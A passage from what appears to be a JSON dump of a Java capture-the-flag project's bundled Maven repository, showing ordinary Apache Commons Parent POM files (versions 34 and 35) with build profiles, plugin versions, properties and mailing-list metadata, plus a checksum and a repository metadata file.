<value>COVEREDRATIO</value>\n                        <minimum>${commons.jacoco.instructionRatio}</minimum>\n                      </limit>\n                      <limit>\n                        <counter>METHOD</counter>\n                        <value>COVEREDRATIO</value>\n                        <minimum>${commons.jacoco.methodRatio}</minimum>\n                      </limit>\n                      <limit>\n                        <counter>BRANCH</counter>\n                        <value>COVEREDRATIO</value>\n                        <minimum>${commons.jacoco.branchRatio}</minimum>\n                      </limit>\n                      <limit>\n                        <counter>LINE</counter>\n                        <value>COVEREDRATIO</value>\n                        <minimum>${commons.jacoco.lineRatio}</minimum>\n                      </limit>\n                      <limit>\n                        <counter>COMPLEXITY</counter>\n                        <value>COVEREDRATIO</value>\n                        <minimum>${commons.jacoco.complexityRatio}</minimum>\n                      </limit>\n                    </limits>\n                  </rule>\n                </rules>\n                <haltOnFailure>${commons.jacoco.haltOnFailure}</haltOnFailure>\n              </configuration>\n            </execution>\n          </executions>\n          </plugin>\n        </plugins>\n      </build>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.jacoco</groupId>\n            <artifactId>jacoco-maven-plugin</artifactId>\n            <version>${commons.jacoco.version}</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n\n    <profile>\n      <id>cobertura</id>\n      <activation>\n        <file>\n          <exists>src/site/resources/profile.cobertura</exists>\n        </file>\n      </activation>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>${commons.cobertura.version}</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n\n    <!--\n         Profile for Commons releases via Nexus.\n         Assembles artifacts, creates source and javadoc jars, signs them and adds hashes. \n    -->\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n                <configuration>\n                 <!-- Avoids an error when releasing the parent pom -->\n                 <skipIfEmpty>true</skipIfEmpty>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prelease</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>javadoc</goal>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n            <configuration>\n              <source>${maven.compiler.source}</source>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <inherited>true</inherited>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n     <!-- \n       profile to update the Apache parent pom profile of the same name\n       to better suit the requirements of Apache Commons.\n       [Requires further work]\n     -->\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n                <releaseProfiles>apache-release</releaseProfiles>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-test-sources</id>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.3\n       (JAVA_1_3_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.3</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.3</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_3_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_3_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.4\n       (JAVA_1_4_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.4</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.4</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_4_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_4_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.5\n       (JAVA_1_5_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.5</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.5</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_5_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_5_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.6\n       (JAVA_1_6_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.6</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.6</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_6_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_6_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.7\n       (JAVA_1_7_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.7</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.7</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_7_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_7_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.8\n       (JAVA_1_8_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.8</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.8</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_8_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_8_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!-- N.B. when adding new java profiles, be sure to update\n         the _removeheaders list in the maven_bundle_plugin configuration -->\n\n    <!--\n     | Profile to allow testing of deploy phase\n     | e.g.\n     | mvn deploy -Ptest-deploy -Prelease -Dgpg.skip\n     -->\n    <profile>\n      <id>test-deploy</id>\n      <properties>\n        <altDeploymentRepository>id::default::file:target/deploy</altDeploymentRepository>\n      </properties>\n    </profile>\n\n    <!--\n      Profile to build all Commons \"proper\" components.\n\n      The trunks of all \"proper\" components can be checked out using:\n          https://svn.apache.org/repos/asf/commons/trunks-proper/\n\n      This profile is a convenience which can be used, for example, to build all the component sites:\n          mvn -Ptrunks-proper site\n\n      or, to clean up:\n          mvn -Ptrunks-proper clean\n\n      see http://issues.apache.org/jira/browse/COMMONSSITE-30\n      -->\n    <profile>\n      <id>trunks-proper</id>\n      <modules>\n        <!-- not yet using mvn module>../attributes</module-->\n        <module>../bcel</module>\n        <module>../beanutils</module>\n        <module>../betwixt</module>\n        <module>../chain</module>\n        <module>../cli</module>\n        <module>../codec</module>\n        <module>../collections</module>\n        <module>../compress</module>\n        <module>../configuration</module>\n        <module>../daemon</module>\n        <module>../dbcp</module>\n        <module>../dbutils</module>\n        <module>../digester</module>\n        <module>../discovery</module>\n        <module>../el</module>\n        <module>../email</module>\n        <module>../exec</module>\n        <module>../fileupload</module>\n        <module>../functor</module>\n        <module>../imaging</module>\n        <module>../io</module>\n        <module>../jci</module>\n        <module>../jcs</module>\n        <!-- not yet using mvn module>../jelly</module-->\n        <module>../jexl</module>\n        <module>../jxpath</module>\n        <module>../lang</module>\n        <module>../launcher</module>\n        <module>../logging</module>\n        <module>../math</module>\n        <module>../modeler</module>\n        <module>../net</module>\n        <module>../ognl</module>\n        <module>../pool</module>\n        <module>../primitives</module>\n        <module>../proxy</module>\n        <module>../scxml</module>\n        <!-- not yet using mvn module>../transaction</module-->\n        <module>../validator</module>\n        <module>../vfs</module>\n      </modules>\n    </profile>\n\n    <!--\n        Configure site plugin to support both Maven2 and Maven3, see:\n        http://maven.apache.org/plugins/maven-site-plugin/maven-3.html#Using_the_same_version_of_maven-site-plugin_for_both_Maven_2_and_Maven_3\n    -->\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!--  The basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-site-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                  <!-- add support for ssh/scp -->\n                  <groupId>org.apache.maven.wagon</groupId>\n                  <artifactId>wagon-ssh</artifactId>\n                  <version>${commons.wagon-ssh.version}</version>\n                </dependency>\n              </dependencies>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <!--\n          Generate release notes in top-level directory from src/changes/changes.xml\n          Usage:\n          mvn changes:announcement-generate -Prelease-notes [-Dchanges.version=nnn]\n\n          Defining changes.version allows one to create the RN without first removing the SNAPSHOT suffix.\n\n          Requires file src/changes/release-notes.vm.\n          A sample template is available from:\n          https://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk/src/changes/release-notes.vm\n       -->\n      <id>release-notes</id>\n      <build>\n        <plugins>\n           <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-changes-plugin</artifactId>\n            <version>${commons.changes.version}</version>\n            <configuration>\n              <template>release-notes.vm</template>\n              <templateDirectory>src/changes</templateDirectory>\n              <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n              <outputDirectory>.</outputDirectory>\n              <announcementFile>RELEASE-NOTES.txt</announcementFile>\n              <announceParameters>\n                <releaseVersion>${commons.release.version}</releaseVersion>\n              </announceParameters>\n            </configuration>\n            <executions>\n              <execution>\n                <id>create-release-notes</id>\n                <phase>generate-resources</phase>\n                <goals>\n                  <goal>announcement-generate</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <!-- \n        Automatically run the buildnumber plugin unless the buildNumber.skip property is defined as true\n    -->\n    <profile>\n     <id>svn-buildnumber</id>\n     <activation>\n       <property><name>!buildNumber.skip</name><value>!true</value></property>\n     </activation>\n     <build>\n       <plugins>\n         <plugin>\n           <groupId>org.codehaus.mojo</groupId>\n           <artifactId>buildnumber-maven-plugin</artifactId>\n           <executions>\n             <execution>\n               <phase>generate-resources</phase>\n               <goals>\n                 <goal>create</goal>\n               </goals>\n             </execution>\n           </executions>\n           <configuration>\n             <!-- Use committed revision so it does not change every time svn update is run -->\n             <useLastCommittedRevision>true</useLastCommittedRevision>\n             <!-- default revision number if unavailable -->\n             <revisionOnScmFailure>??????</revisionOnScmFailure>\n             <doCheck>false</doCheck>\n             <doUpdate>false</doUpdate>\n           </configuration>\n         </plugin>\n       </plugins>\n     </build>\n   </profile>\n   <!-- optional profile to use javasvn instead of the SVN CLI for the buildNumber plugin -->\n   <profile>\n     <id>javasvn</id>\n     <build>\n       <plugins>\n         <plugin>\n           <groupId>org.codehaus.mojo</groupId>\n           <artifactId>buildnumber-maven-plugin</artifactId>\n           <configuration>\n             <providerImplementations>\n               <svn>javasvn</svn>\n             </providerImplementations>\n           </configuration>\n         </plugin>\n       </plugins>\n     </build>\n   </profile>\n\n  </profiles>\n\n  <properties>\n    <!-- configuration bits for cutting a release candidate, must be overridden by components -->\n    <commons.release.version>${project.version}</commons.release.version>\n    <commons.rc.version>RC1</commons.rc.version>\n    <commons.jira.id>COMMONSSITE</commons.jira.id>\n\n    <!-- Default configuration for compiler source and target JVM -->\n    <!-- Do NOT change this; it must remain as 1.3 -->\n    <maven.compiler.source>1.3</maven.compiler.source>\n    <maven.compiler.target>1.3</maven.compiler.target>\n\n    <!-- compiler and surefire plugin settings for \"java\" profiles -->\n    <commons.compiler.fork>false</commons.compiler.fork>\n    <commons.compiler.compilerVersion />\n    <commons.compiler.javac />\n    <commons.surefire.java />\n\n    <!-- plugin versions (allows same value in reporting and build sections) -->\n    <commons.surefire.version>2.17</commons.surefire.version>\n    <commons.surefire-report.version>2.17</commons.surefire-report.version>\n    <!-- 2.9.1 includes fix for Javadoc vulnerability (CVE-2013-1571, VU#225657) MJAVADOC-370 -->\n    <commons.javadoc.version>2.9.1</commons.javadoc.version>\n    <commons.rat.version>0.10</commons.rat.version>\n    <commons.changes.version>2.9</commons.changes.version>\n    <commons.clirr.version>2.6.1</commons.clirr.version>\n    <commons.jxr.version>2.4</commons.jxr.version>\n    <commons.project-info.version>2.7</commons.project-info.version>\n    <commons.wagon-ssh.version>2.3</commons.wagon-ssh.version>\n    <commons.site-plugin.version>3.3</commons.site-plugin.version>\n    <commons.jacoco.version>0.6.4.201312101107</commons.jacoco.version>\n    <commons.cobertura.version>2.6</commons.cobertura.version>\n    <commons.jdepend.version>2.0-beta-2</commons.jdepend.version>\n    <commons.compiler.version>3.1</commons.compiler.version>\n    <commons.scm-publish.version>1.0</commons.scm-publish.version>\n\n    <!-- Default values for the download-page generation by commons-build-plugin -->\n    <commons.release.name>${project.artifactId}-${commons.release.version}</commons.release.name>\n    <commons.release.desc />\n    <commons.binary.suffix>-bin</commons.binary.suffix>\n    <commons.release.2.name>${project.artifactId}-${commons.release.2.version}</commons.release.2.name>\n    <commons.release.2.desc />\n    <commons.release.2.binary.suffix>-bin</commons.release.2.binary.suffix>\n    <commons.release.3.name>${project.artifactId}-${commons.release.3.version}</commons.release.3.name>\n    <commons.release.3.desc />\n    <commons.release.3.binary.suffix>-bin</commons.release.3.binary.suffix>\n\n    <!-- Default values for the jacoco-maven-plugin reports -->\n    <commons.jacoco.classRatio>1.00</commons.jacoco.classRatio>\n    <commons.jacoco.instructionRatio>0.90</commons.jacoco.instructionRatio>\n    <commons.jacoco.methodRatio>0.95</commons.jacoco.methodRatio>\n    <commons.jacoco.branchRatio>0.85</commons.jacoco.branchRatio>\n    <commons.jacoco.complexityRatio>0.85</commons.jacoco.complexityRatio>\n    <commons.jacoco.lineRatio>0.90</commons.jacoco.lineRatio>\n    <commons.jacoco.haltOnFailure>false</commons.jacoco.haltOnFailure>\n   \n    <!-- Commons Component Id -->\n    <commons.componentid>${project.artifactId}</commons.componentid>\n\n    <!-- Configuration properties for the OSGi maven-bundle-plugin -->\n    <commons.osgi.symbolicName>org.apache.commons.${commons.componentid}</commons.osgi.symbolicName>\n    <commons.osgi.export>org.apache.commons.*;version=${project.version};-noimport:=true</commons.osgi.export>\n    <commons.osgi.import>*</commons.osgi.import>\n    <commons.osgi.dynamicImport />\n    <commons.osgi.private />\n\n    <!-- location of any manifest file used by maven-jar-plugin -->\n    <commons.manifestfile>${project.build.directory}/osgi/MANIFEST.MF</commons.manifestfile>\n\n    <!--\n      Make the deployment protocol pluggable. This allows to switch to\n      other protocols like scpexe, which some users prefer over scp.\n    -->\n    <commons.deployment.protocol>scp</commons.deployment.protocol>\n\n    <!--\n      Encoding of Java source files: Make sure, that the compiler and\n      the javadoc generator use the right encoding. Subprojects may\n      overwrite this, if they are using another encoding.\n    -->\n    <commons.encoding>iso-8859-1</commons.encoding>\n    <commons.docEncoding>${commons.encoding}</commons.docEncoding>\n    <!-- Define encoding for filtering -->\n    <project.build.sourceEncoding>${commons.encoding}</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>${commons.encoding}</project.reporting.outputEncoding>\n\n    <!-- Javadoc link to Java API.  Default is Java 1.6; components can override to other versions -->\n    <commons.javadoc.java.link>http://docs.oracle.com/javase/6/docs/api/</commons.javadoc.java.link>\n    <commons.javadoc.javaee.link>http://docs.oracle.com/javaee/6/api/</commons.javadoc.javaee.link>\n\n    <!-- build meta inf -->\n    <maven.build.timestamp.format>yyyy-MM-dd HH:mm:ssZ</maven.build.timestamp.format>\n    <implementation.build>${scmBranch}@r${buildNumber}; ${maven.build.timestamp}</implementation.build>\n\n    <!-- Allow Clirr severity to be overriden by the command-line option -DminSeverity=level -->\n    <minSeverity>info</minSeverity>\n    \n    <!-- Allow surefire-report aggregation to be easily configured for multi-module projects -->\n    <commons.surefire-report.aggregate>false</commons.surefire-report.aggregate>\n\n    <!-- scm publish plugin configuration -->\n    <commons.site.cache>${user.home}/commons-sites</commons.site.cache>\n    <!-- value modules can override it -->\n    <commons.site.path>${project.artifactId}</commons.site.path>\n\n    <commons.scmPubUrl>https://svn.apache.org/repos/infra/websites/production/commons/content/proper/${project.artifactId}</commons.scmPubUrl>\n    <commons.scmPubCheckoutDirectory>${commons.site.cache}/${commons.site.path}</commons.scmPubCheckoutDirectory>\n    <commons.scmPubServer>commons.site</commons.scmPubServer>\n\n    <sonar.host.url>https://analysis.apache.org/</sonar.host.url>\n\n  </properties>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/34/commons-parent-34.pom.sha1",
    "content": "1f6be162a806d8343e3cd238dd728558532473a5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/35/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:30 CST 2018\ncommons-parent-35.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/35/commons-parent-35.pom",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!--\n\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>15</version>\n  </parent>\n  <groupId>org.apache.commons</groupId>\n  <artifactId>commons-parent</artifactId>\n  <packaging>pom</packaging>\n  <version>35</version>\n  <name>Apache Commons Parent</name>\n  <url>http://commons.apache.org/</url>\n  <description>The Apache Commons Parent POM provides common settings for all Apache Commons components.</description>\n\n<!--\nVersion 35:\n\n- Suppress test Javadocs\n- Update JaCoCo -> 0.7.2.201409121644\n- Update maven-compiler-plugin to 3.1 -> 3.2\n- Update maven-source-plugin to 2.2.1 -> 2.4\n- Update maven-site-plugin 3.3 -> 3.4\n- Update maven-gpg-plugin 1.4 -> 1.5\n- Update maven-jar-plugin 2.4 -> 2.5\n- Update maven-release-plugin 2.4.2 -> 2.5.1\n- Update maven-bundle-plugin 2.4.0 -> 2.5.3\n- Update buildnumber-maven-plugin 1.2 -> 1.3\n- Update wagon-ssh 2.3 -> 2.6\n- Update maven-scm-publish-plugin 1.0 -> 1.1\n- Update jdepend-maven-plugin 2.0-beta-2 -> 2.0\n- Update apache-rat-plugin 0.10 -> 0.11\n- Update maven-clean-plugin 2.5 -> 2.6.\n- Update maven-changes-plugin 2.9 -> 2.11\n- Update maven-deploy-plugin 2.8.1 -> 2.8.2\n- Update maven-install-plugin 2.5.1 -> 2.5.2\n- Update maven-javadic-plugin 2.9.1 -> 2.10.1\n- Update apache 13 -> 15\n- Add property commons.findbugs.version.\n\n -->\n\n  <!-- Maven versions plugin reports an error if this is omitted -->\n  <prerequisites>\n    <maven>3.0</maven>\n  </prerequisites>\n\n  <ciManagement>\n    <system>continuum</system>\n    <url>https://continuum-ci.apache.org/</url>\n  </ciManagement>\n\n  <!--\n    Starting with version 22, the RAT plugin has changed Maven group and id, so any existing configuration\n    needs to be updated.\n    To fix component POMs, please change any occurrences of:\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>rat-maven-plugin</artifactId>\n    to the new values:\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n\n    Site deployment\n    ===============\n    Cannot define this here at present, see https://issues.apache.org/jira/browse/COMMONSSITE-26.\n\n    The following should be added to the component POM:\n\n    <distributionManagement>\n      <site>\n        <id>commons.site</id>\n        <name>Apache Commons Site SVN</name>\n        <url>scm:svn:${commons.scmPubUrl}</url>\n      </site>\n    </distributionManagement>\n\n    Alternatively you can map the component's existing site id to the\n    commons.scmPubServer property.\n\n    Coverage tool selection\n    =======================\n    Starting with release 30, there are optional profiles for both Cobertura and JaCoCo.\n    These can be enabled independently on the command-line:\n\n    mvn site -Pcobertura -Pjacoco\n\n    Or the component can define a default coverage tool by creating either (or both) of the following files:\n\n    src/site/resources/profile.cobertura\n    src/site/resources/profile.jacoco\n\n    These can later be overridden by cancelling the profile:\n\n    mvn site -P!jacoco\n\n  -->\n\n  <!--\n    This section *must* be overwritten by subprojects. It is only to allow\n    a release of the commons-parent POM.\n  -->\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/commons-parent/trunk</url>\n  </scm>\n\n  <mailingLists>\n    <!-- N.B. commons-site now uses the Apache POM so has its own copy of the mailing list definitions -->\n    <!--\n        Components should normally override the default mailing list report by using the comnand\n        mvn commons:mail-page\n        This generates the file src/site/xdoc/mail-lists.xml which when processed will replace the PIR version.\n     -->\n    <!-- Changes to this list should be synchronised with the commons build plugin -->\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>user-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>user-unsubscribe@commons.apache.org</unsubscribe>\n      <post>user@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-user/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.users/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---User-f319.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/user@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.user</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>dev-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@commons.apache.org</unsubscribe>\n      <post>dev@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.dev/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---Dev-f317.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/dev@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.devel</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Issues List</name>\n      <subscribe>issues-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@commons.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.issues/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---Issues-f25499.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/issues@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Commits List</name>\n      <subscribe>commits-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@commons.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.commits/</otherArchive>\n        <otherArchive>http://www.mail-archive.com/commits@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.announce/</otherArchive>\n        <otherArchive>http://old.nabble.com/Apache-News-and-Announce-f109.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/announce@apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.apache.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <build>\n    <!-- TODO find a better way to add N&L files to jars and test jars\n         See also maven-remote-resources-plugin configuration below.\n    -->\n    <resources>\n      <!-- This is the default setting from the super-pom -->\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n      <!-- hack to ensure the N&L appear in jars -->\n      <resource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <!-- ensure test jars also get NOTICE & LICENSE files -->\n    <testResources>\n      <!-- This is the default setting from the super-pom -->\n      <testResource>\n        <directory>src/test/resources</directory>\n      </testResource>\n      <!-- hack to ensure the N&L appear in jars -->\n      <testResource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </testResource>\n    </testResources>\n    <pluginManagement>\n      <plugins>\n        <!-- org.apache.maven.plugins, alpha order by artifact id -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.4.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>${commons.compiler.version}</version>\n          <configuration>\n            <source>${maven.compiler.source}</source>\n            <target>${maven.compiler.target}</target>\n            <encoding>${commons.encoding}</encoding>\n            <fork>${commons.compiler.fork}</fork>\n            <compilerVersion>${commons.compiler.compilerVersion}</compilerVersion>\n            <executable>${commons.compiler.javac}</executable>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.8.2</version>\n        </plugin>\n        <!-- Apache parent includes docck -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.5.2</version>\n        </plugin>\n        <!-- Apache parent: invoker -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>${commons.javadoc.version}</version>\n          <configuration>\n            <!-- keep only errors and warnings -->\n            <quiet>true</quiet>\n            